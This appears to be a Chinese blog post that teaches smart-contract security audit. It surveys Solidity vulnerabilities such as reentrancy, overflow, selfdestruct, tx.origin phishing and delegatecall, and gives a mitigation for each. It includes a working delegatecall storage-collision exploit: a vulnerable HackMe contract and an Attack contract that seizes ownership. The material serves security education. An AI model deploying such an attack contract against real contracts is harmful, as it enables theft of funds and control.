合约漏洞

Last updated on 21 hours ago

重入攻击

重入攻击是指攻击者通过在合约的回调函数中重新调用原合约,造成意外的行为或重入漏洞。
重入攻击的一个攻击点就是合约转账ETH的地方:转账ETH的目标地址如果是合约,会触发对方合约的fallback(回退)函数,从而造成循环调用的可能。
攻击流程大致为:

  1. 攻击者合约调用被攻击合约
  2. 被攻击合约向调用者转账(msg.sender.call{value:amount}(“”)),此时msg.sender为攻击者合约地址
  3. 攻击者合约收到被攻击者合约的转账,触发fallback函数,再fallback中再次调用被攻击合约
  4. 2,3步骤循环

解决方案就是使用重入锁:在进行转账前修改状态变量,转账完成后,再修改回来。

1
2
3
4
5
6
7
8
9
bool internal locked;   // 定义状态变量表示重入锁

modifer noReentrant() {
require(!locked, "重入攻击!");
// 进行转账前
locked = true;
_;
locked = false;
}

溢出攻击

每个数据类型都有它的取值范围,如果计算范围超出最大值或小于最小值,则会出现上溢下溢。比如uint8的范围是[0,255],如果用它计算0-1则会出现下溢,变为最大值255;如果用它计算255+1则会出现上溢,变为最小值0。

溢出在0.8以下时不会报错,>=0.8溢出则会报错

解决方案就是使用0.8及以上版本(0.8版本自带SafeMath库),或者导入SafeMath

自毁函数攻击

自毁函数selfdestruct是solidity的一个特殊函数,它能将合约销毁,并将合约余额转给目标地址,攻击者可以利用它向其他合约强制转账,如果该合约的运行逻辑依赖于合约余额,强制转入可能会造成意外行为
比如一个合约有个函数,用来接收以太币并使用address(this).balance()对余额进行判断。攻击者合约通过selfdestruct绕过该函数强制转账,将不触发余额判断。

解决方案就是不使用真实余额address(this).balance,而是定义一个状态变量uint public balance;,这样只有通过调用函数才会添加balance,selfdestruct强制发送不会计入

随机数

随机数的随机种子可以从区块变量中,也可以从预言机获取
常见的区块变量有:

block.basefee(uint):当前区块的基本费用

block.chainid(uint):当前链 id

block.coinbase():当前区块矿工地址 address payable

block.difficulty(uint):当前区块难度

block.gaslimit(uint):当前区块 gaslimit

block.number(uint):当前区块号

block.timestamp(uint):自 Unix 纪元以来的当前区块时间戳(以秒为单位)

blockhash(uint blockNumber) returns (bytes32):给定区块的哈希,仅适用于 256 个最近的区块

区块变量可以限制普通用户对随机数的预测,但不能阻止矿工,矿工在打包交易时可以选取自己想要的进行打包,从而影响随机数。

预言机是专门用于产生随机数的服务,预言机不仅能使用链上数据做随机种子,还能从链下的现实世界获取数据。

拒绝服务攻击DOS

通过某些手段,对服务进行干涉,使得目标可用性降低或失去可用性而拒绝服务,称为拒绝服务攻击。

拒绝服务攻击包括但不限于以下:

  1. 基于代码逻辑的攻击:
    这种一般是由于合约不严谨导致的,比如:当合约未对传入的映射或数组做限制时,攻击者可以通过输入超长映射或数组 消耗大量的Gas,使得这笔交易的Gas溢出,最后使该合约暂时或永久不可用

  2. 基于外部调用的攻击:
    一般是合约对外部调用处理不严谨导致的

  3. 基于运营管理的攻击:
    比如合约的管理者被盗号

其中最常用的就是基于外部调用的攻击,例如:
有个合约A用于竞选最富有的人,其定义了一个函数用于接收以太币,然后将接收的以太币与当前最富有者发送的以太币对比,如果产生了新富豪,则将上一个富豪发送的以太币用address.call{value:account}()原路返回,如果返还以太币失败则会使用require退出。
这个合约的攻击点在于返回以太币与接收以太币都在同一个函数中,现在有一个攻击合约B,B中只有一个函数,接收以太币并调用A的竞选函数。
当B成为富豪后,其他人想竞选将会失败,这是因为B合约中没有payable修饰的fallback函数,使得B无法接收B.call{value: account}()这样的空调用转账,所以A对B的转账会一直失败,使得B成为了永久的富豪。

解决方案:
定义新函数单独处理退款,用取回模式代替发送模式,这样就算有人恶意拒收也只能影响到自己。

tx.origin钓鱼攻击

tx.originmsg.sender类似,都是用于获取发送者地址,但msg.sender获取的是上层调用者的地址,tx.origin获取的是启动交易的原始地址
假设一个合约定义了状态状态变量owner用于存储合约部署者,在之后的函数中使用reuqire(owern == tx.origin)进行判断
由于使用的是tx.origin,那么攻击者可以通过伪造一个钓鱼合约,诱导被攻击者去调用,然后再在合约中调用被攻击者的合约,这样tx.origin就指向了被攻击者,成功越权。

解决方案:
tx.origin 目前仅适用于校验 msg.sender 是否是 EOA 地址(账户地址),不适用于做权限的校验,需要使用msg.sender来进行权限校验。

移花接木

用户以为的调用路径:

部署合约 A 传入合约 B 地址,这样调用路径为正常路径。

实际的调用路径:

部署合约 A 传入合约 C 地址,这样调用路径为非正常路径。

B为开源的正常合约,C为恶意合约,黑客宣传B合约能赚钱,并把C合约的地址当做B合约让用户调用,用户只检查了B合约认为没问题便落入了陷阱

delegatecall调用

低级调用有:call,delegatecall,callcode,三种都用于调用外部合约或函数,但又有点不同

  • call:
    msg指向的是调用者合约,this指向被调用合约,执行环境为被调用者合约的运行环境,合约之间状态变量互相独立不影响。
    比如A调用了B,则msg指向了A,而this仍为B,B的代码交给B自己执行

  • delegatecall:
    msg指向的是调用者(不是调用者合约,而是调用者本人),this指向调用合约,执行环境为调用者合约的运行环境,合约之间的状态变量会根据声明顺序一一对应,会影响调用者状态变量的值。
    比如caller部署了A,并用A调用了B,则msg指向的是caller,this指向的是A。假设A按以下顺序定义了int a1; int a2,而B按以下顺序定义了int b1; int b2;,同时在调用B的过程中,修改了b1 = 1; b2 = 2,则运行结束后,A中的a1 == 1; a2 == 2
    相当于将B的代码交给A执行

  • callcode:
    在0.5.0以后被禁用,相当于上面二者的结合,msg指向调用者合约,this指向调用者合约,运行环境为调用者合约的运行环境

案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
contract Lib {
uint public someNumber;


function doSomething(uint _num) public {
someNumber = _num;
}
}


contract HackMe {
address public lib;
address public owner;
uint public someNumber;


constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}


function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;


contract Attack {
// Make sure the storage layout is the same as HackMe
// This will allow us to correctly update the state variables
address public lib;
address public owner;
uint public someNumber;


HackMe public hackMe;


constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}


function attack() public {
// override address of lib
hackMe.doSomething(uint(uint160(address(this))));
// pass any number as input, the function doSomething() below will
// be called
hackMe.doSomething(1);
}


// function signature must match HackMe.doSomething()
function doSomething(uint _num) public {
owner = msg.sender;
}
}

攻击流程:

  1. 攻击合约调用hackMe.doSomething并传入自己的地址
  2. hackMe.doSomething通过delegatecall调用lib.doSomething
  3. 由于delegatecall的特性,lib中someNumber状态变量的修改会同步到hackMe中的lib状态变量,lib指向了攻击合约
  4. 攻击合约继续调用hackMe.doSomething,由于hackMe.lib被修改,故hackMe.doSomething将会调用攻击合约中的doSomething,将owner修改为攻击者

解决方案:

  1. 在使用 delegatecall 时应注意被调用合约的地址不能是可控的
  2. 在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调用时会根据被调用合约的数据结构来修改本合约相应 slot 中存储的数据

选择器碰撞

solidity在调用函数时,会通过函数选择器找到对应函数,函数选择器就是函数签名哈希值的前4个字节
函数签名是一个字符串,包含了函数名和参数类型形如"functionName(uint256)",选择器就是bytes4(keccak256(bytes("functionName(type1,type2)")))
选择器碰撞是指两个不同的函数具有相同的选择器,比如LOCK8605463013()uWjK9(uint256),他们的选择器都是0xffffffff
选择器碰撞可以通过这个网址查询“Ethereum Signature Database”

参考资料:
“登链-慢雾科技” 智能合约安全审计入门篇 各大篇